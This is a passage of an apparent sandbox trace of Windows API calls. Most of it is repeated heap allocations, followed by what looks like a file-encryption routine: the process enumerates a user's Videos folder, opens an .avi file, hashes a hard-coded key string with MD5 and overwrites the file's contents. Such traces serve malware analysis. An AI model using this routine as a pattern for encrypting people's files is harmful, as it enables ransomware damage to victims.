Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.281] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.281] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.282] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.283] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.283] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.284] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.284] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.285] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.285] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\") returned="b-b9YkzIMqBbLX\\" [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.286] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.286] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.286] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.286] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.286] PathFindFileNameW (pszPath="") returned="" [0126.286] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.286] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68032360, ftCreationTime.dwHighDateTime=0x1d4d5b5, ftLastAccessTime.dwLowDateTime=0xdfd148f0, ftLastAccessTime.dwHighDateTime=0x1d4cdd5, ftLastWriteTime.dwLowDateTime=0xdfd148f0, ftLastWriteTime.dwHighDateTime=0x1d4cdd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.287] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.287] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68032360, ftCreationTime.dwHighDateTime=0x1d4d5b5, ftLastAccessTime.dwLowDateTime=0xdfd148f0, ftLastAccessTime.dwHighDateTime=0x1d4cdd5, ftLastWriteTime.dwLowDateTime=0xdfd148f0, ftLastWriteTime.dwHighDateTime=0x1d4cdd5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.287] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8606add0, ftCreationTime.dwHighDateTime=0x1d4c6b2, ftLastAccessTime.dwLowDateTime=0xfe283df0, ftLastAccessTime.dwHighDateTime=0x1d4d5a4, ftLastWriteTime.dwLowDateTime=0xfe283df0, ftLastWriteTime.dwHighDateTime=0x1d4d5a4, nFileSizeHigh=0x0, nFileSizeLow=0x41bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1XL3nUBpXBByeYM.avi", cAlternateFileName="1XL3NU~1.AVI")) returned 1 [0126.287] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3084030 [0126.287] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa6) returned 0x2fd8818 [0126.287] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3084030 | out: hHeap=0x5c0000) returned 1 [0126.287] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\1XL3nUBpXBByeYM.avi") returned=".avi" [0126.287] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\1XL3nUBpXBByeYM.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\1xl3nubpxbbyeym.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.288] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=16829) returned 1 [0126.288] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.290] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x4197, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.290] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.291] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.291] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.291] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.291] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x41bd, lpOverlapped=0x0) returned 1 [0126.292] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.292] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.292] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.292] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.292] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0126.293] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.293] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.293] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.293] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.293] GetLastError () returned 0x0 [0126.293] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.293] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0126.293] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.293] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x41c0) returned 0x30fa0b0 [0126.293] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0126.293] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.293] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x41b8, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x41b8, lpOverlapped=0x0) returned 1 [0126.293] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 